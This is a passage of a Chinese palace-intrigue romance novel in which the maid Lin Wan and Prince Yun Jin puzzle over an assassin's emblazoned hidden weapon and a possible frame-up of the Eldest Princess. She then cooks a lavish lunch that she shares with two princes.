云烬深处右手,掐上林晚的下巴,将林晚的脸轻轻抬起。
“若是你昨晚死了,你可曾后悔来这静心苑?”云烬看着林晚的眼睛,沉声问道。
林晚沉默片刻,眼睛向下撇了一眼自己的下巴,没好气地推开云烬的手。
她走到桌案边,将托盘放在上面,随即转过身,目光直视云烬的双眼:
“若是死了,便是我命该如此。”
云烬听了这话,眉头微微一怔,双眼逐渐迷离,目光无神地望向林晚身后的那排书架。
“但我没死,说明我命不该绝,说明我应该往前看,何必纠结于过去。”
然而这句话更像是触动了云烬的心绪,将他的思绪拉回来,目光重新锁定在眼前这个少女的身上。
“更何况,我一个丫鬟,只是听吩咐做事,哪来什么后悔不后悔,不比殿下,在任何事情上都能做得了主。”
云烬没有说话,只是迈步走向桌案。
林晚的目光追随着他,只见云烬走到桌案旁,俯身在桌案上扒开几本书,拿起两枚昨夜挡下的乌黑暗器。
他修长的手指拈起其中一枚,将其完全展露在林晚眼前。
那暗器形制奇特,并非寻常的飞镖或袖箭。
它约莫三寸长,通体由一种哑光的玄铁打造,入手冰凉沉重。
其主体呈三棱锥状,棱角锋锐无比,闪烁着幽冷的寒光。
但最引人注目的,是锥体末端连接着一个精巧的环扣,环扣上并非平滑,而是极其精细地镂刻着一个繁复的图案。
那图案像是一朵扭曲绽放的曼陀罗花,花瓣边缘却延伸出锐利的尖刺,花蕊中心则是一个微缩的、狰狞的兽首。
兽首虽小,却栩栩如生,眼睛处点着两点红,在昏暗的光线下隐隐透出血色。
云烬将暗器伸到林晚面前,指尖轻轻拂过那诡异的龙首曼陀罗花纹,声音低沉而肯定:
“这个花纹……或许来自宫里。”
“宫里?!”
林晚的心猛地一沉,她猜到了那个黑衣人可能与宫里的什么人有瓜葛,或许是宫里的人雇的什么杀手。
此刻听到云烬的分析和判断之后,还是觉得后背一阵发凉,她没想到这黑衣人竟然就是宫里的人。
而更让她觉得不可思议的是,这黑衣人竟然毫不忌讳地留下暗器逃走,仿佛是故意为之一般。
“嗯。”云烬的视线落在暗器上,眼神变得幽深而冰冷,“几年前……见过一次。”
他的声音里带着一丝寒意,握着暗器的右手猛地收紧,指节因为用力而泛白,甚至微微颤抖起来,仿佛在极力压制着某种翻涌的情绪。
林晚看着他紧握的手,心头震动。
她小心翼翼地追问:“你的意思是……昨夜要杀了我的人……是宫里面来的?”
她一个微不足道的小丫鬟,何德何能引来宫中的杀机?难道……是因为皇贵妃的赐婚?还是因为她知道了太多不该知道的秘密?
“不一定,”云烬眉头紧锁,“这暗器上的图案指向性过于明显,反而更值得怀疑。”
云烬的目光从暗器上移开,重新看向林晚,那双深邃的眼眸里藏着太多的事情。
他缓缓开口,声音带着一种洞悉一切的冷漠:“别看这静心苑安静,暗地里……不知道有多少双眼睛盯着。”
林晚不由自主地打了个寒颤,这还是她第一次听云烬说这些,“殿下的意思是……一直都有人监视着这里?”
“哼,”云烬冷笑一声,“你以为这里是什么世外桃源吗?”
林晚急切地追问:“那……那你知道昨夜是谁的人吗?是谁要杀我?”
“或许,不是为了杀你。”
云烬沉默了片刻,指尖再次轻轻抚过暗器上那诡异的兽首曼陀罗图案,思考着记忆里那个人的名字。
最终,他抬起眼,直视着林晚惊疑不定的双眸,薄唇轻启,吐出一个沉甸甸的名字:
“长公主。”
第48章 分明是冲您来的
“长公主……”
林晚忍不住低声重复这个陌生的称谓,在她的记忆里,似乎对长公主的部分非常非常少。
她抬头看向云烬:“为什么又跟长公主扯上关系了?”
云烬转过身,继续将目光投向窗外,太阳越升越高,远山间的薄雾也渐渐消散。
他的声音小而低,听不出什么情绪:“她是先帝与齐太妃所出。先帝驾崩后,齐太妃……殉情而逝。”
“长公主自此深居后宫,鲜少露面。”
“深居简出?不谙世事?”林晚下意识问道。
“在我的记忆里,只在宫里重大的场合,偶尔能见到长公主”,云烬的眼神微眯,仿佛在回忆着一些往事。
林晚蹙眉,努力将这样一位深宫女子与那枚刻着狰狞兽首和曼陀罗,又散发着不祥气息的暗器联系在一起:
“这听起来,长公主这个人……和这暗器上的诡异纹路,实在难以联系到一起。”
“她本人确实不精修行。”
云烬转过身,走到桌案旁,再次拿起那枚暗器,指尖摩挲着冰冷的兽首:
“但这图案,源自齐太妃的母族,但具体是有什么象征意义,就不是很清楚了。”
林晚心头一凛:“所以,这两枚暗器,确实与长公主脱不了干系?”
云烬没有直接回答,只是将暗器放回桌面,发出轻微的磕碰声,眼神晦暗不明。
林晚看着他的侧脸,脑中思绪飞转,一个更大胆的推测逐渐成形:“不,殿下,我觉得昨晚的黑衣人,未必是长公主的人!”
云烬眉头微挑,将目光完全转向她:“哦?说说看。”
林晚深吸一口气,条理清晰地分析道:“其一,时机太过蹊跷。”
“陛下赐婚的圣旨刚下,静心苑就潜入刺客,目标直指我这个‘准祁王妃’。若我昨夜真死了,皇家颜面何存?陛下震怒之下,必然严查到底!谁在这风口浪尖上动手,谁就是引火烧身!”
“其二,嫁祸痕迹明显。”
“这暗器上的图腾指向性如此明确,偏偏又恰好被我们截获。长公主深居简出,与世无争,谁会特意用她母族的标志来行刺?这分明是有人故意留下线索,想把脏水泼到长公主身上。”
云烬双手抱胸,斜倚在桌案边,静静地看着林晚,仿佛是在听着什么有意思的分析。
“其三,刺客身手与目标不符。那黑衣人能潜入皇家别院,身手不凡,不管是谁派来的,他的目标竟然不是殿下您?反而对我这个尚未过门、看似无关紧要的丫鬟下手?这不合常理!”
“更像是……有人想通过杀我,制造混乱,或者是一种警告,又或者是在试探什么……”
听完林晚的分析,云烬的嘴角缓缓勾起一抹玩味的弧度,那双深邃的眼眸里闪烁着奇异的光彩,仿佛发现了一件极其有趣的玩具。
“呵……”
他发出一声低沉的轻笑,带着一丝赞赏,更多的却是那种洞悉一切、居高临下的戏谑:“祁王妃?你倒是叫得挺顺口啊……”
林晚心里咯噔一愣,自己一不小心的口误,又被这家伙抓住了!
云烬见林晚语塞,仿佛达到了自己的目的,冷笑一声:
“我这静心苑的丫鬟,心思倒是越来越剔透了。”
“条理清晰,鞭辟入里……看来昨晚若是真让你死了,倒真是本皇子的一大损失呢。”
林晚被他看得有些不自在,但还是挺直了腰板,迎上他的目光,轻哼一声:
“殿下忙着小瞧本姑娘之前,不妨先想想自己。”
“昨晚那黑衣人,表面冲我来,但招招狠辣,不留余地,更像是在逼您出手!”
“恐怕他的真正目标,是想试探您的深浅,他出手的目标并不重要,那分明是冲您来的!”
林晚意有所指地瞥了一眼云烬的胸口,意味明显。
云烬脸上略显轻松的神情瞬间敛去,取而代之的是一种冰冷而危险的气息。
他猛地直起身,一步便跨到林晚面前,高大的身影带着迫人的压力将她笼罩。
他微微俯身,冰凉的手指猝不及防地抬起林晚的下颌,迫使她仰头对上他那双深不见底、此刻翻涌着暗潮的眼眸。
“心疼人了?”
他的声音压得极低,带着一丝丝沙哑的磁性,气息拂过林晚的耳廓,如同毒蛇吐信。
“嗯?”
云烬指尖的力道微微用力,冰凉的触感让林晚浑身一僵。
他嘴角的弧度愈发诡异,眼神里充满了掌控欲:“还没大婚呢,就这般操心起夫君的安危了?”
他另一只手缓缓抬起,冰凉的指尖若有似无地划过林晚的脖颈,他似乎是在找什么痕迹。
只是那几道红痕已经淡去,云烬并没有如他所想那般看见什么,眼神里的凌厉竟变淡了不少。
他的指尖,在原先淡红指痕的位置轻轻拂过,动作轻柔得像是在抚摸一件易碎的瓷器。
“你若是跟我大婚,你就不怕……这几道红痕,越来越深?”
那眼神,那语气,那指尖的触感,都带着一种令人毛骨悚然的暧昧和威胁,让林晚的心跳瞬间飙到了嗓子眼,后背瞬间沁出一层冷汗。
林晚心里一阵苦笑,不管大婚与否,她都始终要与云烬同行到最后的。
只是从前是为了回家,而现在,多了更多其他的原因罢了,并没有什么分别。
就在林晚几乎要被这病态的气场压得喘不过气时,云烬却突然松开了手,直起身,周身那股迫人的阴郁气息如同潮水般退去,快得让人措手不及。
他脸上又恢复了那副淡漠疏离的模样,仿佛刚才那危险的一幕从未发生。
他薄唇轻启,淡淡地说道:“我有什么好担心的?”
他嗤笑一声,语气带着一种近乎残忍的洒脱:“光脚的,从来不怕穿鞋的。”
他转身走朝着卧房走去,脚步未停,只丢下一句吩咐,声音平淡无波:“午时快到了,去做饭,三个人的份量。”
“你,陪我,还有云瀚,一起吃。”
第49章 烟火人间
林晚被云烬那句“一起”砸得有点懵,但随即心头涌上一股难以言喻的暗爽。
上桌?和两位皇子同桌用膳?这简直是静心苑开天辟地头一遭!
这要是放在皇宫里,在规矩上讲简直大逆不道。
但这里是静心苑,而且有系统任务当前,刷好感度才是硬道理,谁还管那些虚礼?
她压下嘴角几乎要扬起的弧度,努力维持着表面的平静,对着云烬福了福身:“是,殿下。”
林晚转身走向厨房,她的脚步都比平时轻快了几分。
推开厨房的门,一股不同于往日的、混合着泥土清甜和肉类鲜香的丰盈气息扑面而来。
小翠正蹲在地上,小心翼翼地整理着几个大竹筐,脸上是掩不住的惊叹和欢喜。
“林晚姐!你快来看!”
小翠听见动静,兴奋地抬起头,指着筐里的东西:“宫里刚送来的!你看这水灵灵的青菜,嫩得能掐出水!”
“还有这果子,红彤彤的,闻着就甜!”
“这肉……天呐,这纹理,这颜色,我从来没见过这么好的肉!”
林晚走过去一看,果然与之前那些蔫巴巴、以次充好的份例天差地别。
瓜果蔬菜鲜翠欲滴,仿佛刚从地里摘下来,甚至还带着清晨的露珠。
除了这些,还有肉类,色泽鲜亮,纹理分明,一看就是上等的精肉。
就连盛放它们的竹筐都编得格外精细。
“好家伙……”
林晚也忍不住惊叹一声,蹲下身拿起一颗饱满的番茄,指尖传来冰凉紧实的触感。
“这……这才是皇子该有的份例吧?”
小翠连连点头,眼睛亮晶晶地看着林晚:“林晚姐,这都是托了你的福!要不是你……”
“胡说什么呢!”
林晚立刻打断她,顺手拿起旁边一把翠绿的芹菜,轻轻敲了下小翠的脑袋,佯怒道:
“什么叫托我的福?这明明是托了殿下的福!殿下身份尊贵,份例自然该是顶好的。以前……大概是路途遥远,运送不便吧。”
她含糊地解释着,心里可是依旧对那本账册记忆尤深,她可是清楚地记得曾经的份例是如何被克扣的。
而她心里更清楚,这突如其来的“厚待”,恐怕与赐婚这件事脱不了干系。
甚至,那道圣旨,恐怕已经在来静心苑的路上了。
小翠捂着被敲的地方,吐了吐舌头,嘿嘿一笑:“那也是林晚姐有本事,能近得了殿下的身,得了殿下的……”
她话没说完,看到林晚又扬起的芹菜,赶紧缩了缩脖子,低头继续整理:
“好啦好啦,我不说了,干活干活!”
林晚看着小翠那副又怂又可爱的样子,无奈地摇摇头,心里却暖洋洋的。
她环顾着这满厨房的顶级食材,脑子里瞬间就整理好了一份菜单。
“小翠,来,咱们开工!”
林晚撸起袖子,干劲十足。
“今天咱们做顿好的!红烧狮子头,清蒸鲈鱼,蒜蓉炒时蔬,再来个醋溜土豆丝,最后炖个山药排骨汤!三荤两素一汤,齐活!”
“好嘞!”
小翠应得响亮,立刻麻利地开始打下手。
厨房里瞬间热闹起来。
灶膛里的火苗舔舐着锅底,发出欢快的噼啪声。
林晚系上围裙,动作麻利地处理食材。
“小翠,把那条鲈鱼处理一下,记得把鱼腹里的黑膜刮干净,腥味就靠它了。”
林晚一边熟练地将五花肉剁成细腻的肉糜,一边吩咐道。
“知道啦!”
小翠应着,拿起锋利的菜刀,小心翼翼地刮着鱼鳞,动作虽然还有些生疏,但比之前进步多了。
“林晚姐,这肉馅要剁到什么程度才算好呀?”
小翠看着林晚手起刀落,肉糜在刀下变得越来越细腻粘稠,好奇地问。
“要剁到起胶,黏黏的,能挂在刀上不掉下来才行。”
林晚解释道,手腕翻飞间,肉糜已经呈现出诱人的光泽。
“这样打出来的狮子头才够弹牙,不会散。”
“哦哦!”
小翠似懂非懂地点点头,又指着林晚正在调制的肉馅:“这红红的是什么呀?”
“这是红曲米水,”林晚舀起一勺调好的酱红色汁水淋在肉馅上,用手顺着一个方向用力搅打。
“给狮子头上色的,天然又好看,比用酱油颜色更亮。再加点马蹄碎,增加点脆脆的口感。”
肉馅在林晚手中被摔打得“啪啪”作响,逐渐变得紧实有弹性。
她熟练地团成几个硕大圆润的肉球,轻轻放入温油中定型。
油锅里立刻响起“滋啦滋啦”的美妙声响,肉香四溢。
另一边,小翠已经将处理干净的鲈鱼放在了蒸盘上,鱼身上铺好了姜片和葱段。
“林晚姐,鱼好了!”
“好,上锅蒸!水开上汽后计时,一盏茶的时间就好,千万别过了,鱼肉老了就不好吃了。”
林晚叮嘱着,手上不停,热锅凉油,将拍好的蒜末倒入锅中爆香。
“刺啦”一声,蒜香瞬间弥漫开来,她快速倒入洗净的青菜,大火猛炒,锅铲翻飞间,碧绿的菜叶裹上油亮的蒜蓉,香气扑鼻。
小翠在一旁看得眼花缭乱,又是递盘子又是递调料,忙得不亦乐乎,嘴里还忍不住感叹:
“林晚姐,你真是太厉害了!这手艺,比宫里御膳房的大厨都不差吧?以后殿下娶了你,可真是有口福了!”
“哎呀!你这丫头!”
林晚正专注地给醋溜土豆丝淋上最后一点锅边醋,闻言手一抖,差点把醋瓶子扔出去。
脸颊瞬间飞起两朵红云,嗔怪地瞪了小翠一眼:“再胡说八道,小心我把你那份狮子头扣下!”
小翠嘻嘻笑着躲开,嘴上讨饶:“不敢了不敢了!”
整个厨房在两个身影的忙碌下,充满了人间烟火气息。
当最后一道山药排骨汤在砂锅里“咕嘟咕嘟”地冒着幸福的泡泡,浓郁的肉香混合着山药的清甜,弥漫了整个厨房。
林晚揭开锅盖,撒上一小撮翠绿的葱花,热气蒸腾,香气更是达到了顶点。
“好香啊——!”
一个清朗又带着十足惊喜的声音,伴随着轻快的脚步声,从小厨房门口传来。
“让我看看林晚姑娘又做了什么好吃的!这味道,我在院门口就闻见了,勾得我肚子里的馋虫直叫唤!”
三皇子云瀚的身影出现在门口,他探着头,脸上挂着灿烂的笑容。
他的目光在厨房里琳琅满目的菜肴上扫过,最后落在系着围裙、脸颊微红、额角还带着细密汗珠的林晚身上,眼中满是毫不掩饰的赞叹。
“哎呀,有些人呀,吃了睡,醒了就吃!”
林晚见来人是云瀚,没好气地打趣道。
“三殿下!端菜!”
第50章 食不言,寝不语
云瀚被林晚指挥着,倒也没有气恼,仿佛此时此刻,只有这顿美味的午餐,才是他最关心的事情。
见云瀚端着红烧狮子头乐呵呵地跑去正屋,林晚嘴角轻笑,这三皇子还真是没有一点架子。
这种性格,在偌大的皇城里,肯定是一股清流的存在。
小翠手脚麻利地将最后一道山药排骨汤端上桌,三荤两素一汤齐活,还有一小盆晶莹剔透的白米饭,浓郁的香气瞬间弥漫了整个房间。
小翠把菜的位置摆好,又帮三个人整理好碗筷的摆放,然后对着林晚俏皮地眨了眨眼,嘴角勾起一抹吃瓜的笑意。
随即行了个礼,她就轻手轻脚地退了出去,还细心地将门带上。
屋内只剩下三人。
紫檀木圆桌旁,云烬端坐主位,只是就算面对这一桌的丰盛菜肴,他依旧神色淡漠,仿佛只是寻常的一餐。
云瀚坐在他左手边的上首位置,脸上带着惯有的阳光笑容,好奇地打量着满桌菜肴,仿佛正在思考着第一口应该吃哪个。
林晚则坐在下首,紧挨着门口的位置。
这是她第一次与两位皇子同桌用膳,即便是在这没有那么多规矩的静心苑,她心里也难免有些紧张,手指无意识地绞着衣角。
这局促感让林晚感到颇为不适,于是她打算找点话题,打破这奇怪的沉默氛围。
林晚清了清嗓子,目光小心翼翼地投向主位的云烬,带着一丝期待:“殿下,您尝尝看?”
然后她又跟云瀚说:“三殿下,您也快尝尝看,昨夜吃过之后,还没听您的评价呢,我这手艺跟宫里相比如何?”
云烬的眼皮都没抬一下,缓缓伸出筷子,精准地夹起一小块色泽红亮的红烧狮子头。
他动作优雅地送入口中,细细咀嚼,脸上没有任何表情变化,仿佛在品尝空气。
林晚的心提了起来,紧紧盯着他,然而云烬没有说话。
接着,他又夹了一筷子清蒸鲈鱼腹部的嫩肉,雪白的鱼肉沾着几粒翠绿的葱花,他还特地在汤汁中浸泡了一下,放入口中。
依旧是沉默,眼神没有丝毫变化,就连眉头都没动一下。
林晚有些急了,忍不住催促:“殿下?”
云烬仿佛没听见,又夹了一筷子醋溜土豆丝,放进嘴里。
不过这一次,这次终于有了点其他的反应——他扒了一口左手小碗里的白米饭。
然后,还是没有说话。
林晚看着他这副油盐不进的样子,心头那股火“噌”地就上来了。
她放下筷子,声音也拔高了几分:“尊贵的二殿下!我辛辛苦苦忙活了大半个时辰,做了这一桌子菜,还特地被您叫来一起吃。”
“您就不能开开金口,夸一句本姑娘日益精进的厨艺吗?哪怕一个字也行啊!”
云烬终于抬眸,淡淡地瞥了她一眼,那眼神平静无波。
他薄唇轻启,吐出六个字,声音不高,却清晰地敲在每个人耳中:
“食不言,寝不语。”
林晚:“……”
她一口气堵在胸口,差点没背过气去。
看着他一本正经的样子,又好气又好笑,简直想把手里的筷子扔他脸上。
“噗嗤!”
一旁的云瀚实在忍不住,笑出了声。
他连忙打圆场,对着云烬摆手道:“哎呀二哥!什么食不言寝不语,我最烦宫里那套繁文缛节了,规矩多得能压死人!”
“自从你搬来静心苑,我在宫里都快闷死了。”
“你不在之后,母后管得更严了,不然我干嘛三天两头往你这儿跑?还是这里舒服自在呀!”
他一边说,一边迫不及待地伸筷子夹了一大块红烧狮子头塞进嘴里,眼睛瞬间亮了起来,含糊不清地赞叹:
“唔!好吃!真香!这肉馅儿弹牙入味,比御膳房那些花里胡哨的强多了!”
说着,他又端起汤碗,盛了一勺山药排骨汤喝下,满足地感叹:
“汤也鲜!舒坦!”
他意犹未尽地还想再夹菜,却见云烬已经将面前那碗米饭吃得干干净净。
然后,他竟然极其自然地将空碗递到了林晚面前。
云瀚看得目瞪口呆:“二哥!你……你吃这么快?!”
云烬面不改色,接过林晚默默盛满递回来的饭碗,淡淡地又重复了一遍:“食不言,寝不语。”
林晚:“……”
云瀚:“……”
这顿饭就在这种微妙又有点好笑的气氛中进行着,有云瀚这个活宝在,气氛终究是轻松了不少。
他大快朵颐,赞不绝口,直呼宫里那些用小碟小碗装着的精致菜肴太过小气,远不如这静心苑大盘大碗来得实在痛快。
云烬虽然依旧沉默寡言,但进食的速度,和空了的碗碟似乎都说明了他对饭菜的认可。
林晚原本紧绷的神经也渐渐放松下来,看着眼前几乎被扫荡一空的盘子,心里也涌起一丝成就感。
虽然云烬没说什么,但行动和结果,就是最好的肯定。
饭菜逐渐见底,一直沉默的云烬忽然开口,声音平淡无波,却像一颗石子投入平静的湖面:
“若是成婚……”
他的目光落在林晚脸上,严肃而认真。
“恐怕日后,便难有这般轻松自在了。”
林晚心头猛地一跳,握着茶杯的手指微微收紧。
她明白,云烬并非在担忧自己,他早已将生死置之度外。
这句话,是说给她听的。
他在提醒她,一旦成婚,便不再是静心苑里这一方天地的生活了,眼前这片刻的宁静与烟火气,恐怕都将成为奢望。
等待她的未知,只会越来越多,包括各种危及生命的危险。
一股沉重的压力瞬间笼罩下来。
但很快,林晚眼中闪过一丝决然,她不是早就做好决定了吗!
她抬起头,迎上云烬深邃的目光,嘴角甚至勾起一抹弧度,声音不大,却异常清晰坚定:
“那又如何?”
她放下茶杯,目光扫过空空的碗碟,仿佛扫过未来可能的重重阻碍,语气带着一种斩钉截铁的决心:
“神挡杀神,佛挡杀佛便是了!”